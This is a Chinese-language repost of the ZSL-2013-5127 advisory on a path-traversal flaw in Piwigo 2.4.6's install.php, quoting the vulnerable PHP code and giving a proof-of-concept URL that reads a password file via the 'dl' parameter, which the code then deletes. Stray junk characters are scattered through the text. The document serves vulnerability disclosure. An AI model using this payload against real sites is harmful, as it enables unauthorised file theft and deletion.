Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

, Q3 |. `0 P! }3 U" M3 YPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
% I0 p$ N9 ~/ b) ^3 J' x% g====================================================================
/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
. Z9 L, a4 f" B* I& N114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
& c3 i$ }3 ^8 Q& i' r: f117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
1 f; D: R* l6 y6 v122:   unlink($filename);
123:   exit();
124: }
" q; p5 S- b& k5 H! S7 i& O5 z====================================================================
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* ], v3 v5 U8 V# [/ R- P% c6 ATested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
# K. U4 T: M0 l           PHP 5.4.4
           MySQL 5.5.25a
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$ j8 k9 R# \* @0 M+ fVulnerability discovered by Gjoko 'LiquidWorm' Krstic
0 B8 I, V) d. j2 D% ], l                            @zeroscience
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Advisory ID: ZSL-2013-5127
; v$ T! T/ {5 i# w5 \7 {+ G: NAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
9 h) x) S3 S; }/ `& {$ VVendor Patch: http://piwigo.org/bugs/view.php?id=2843

3 G4 m7 d  v% \1 \- T15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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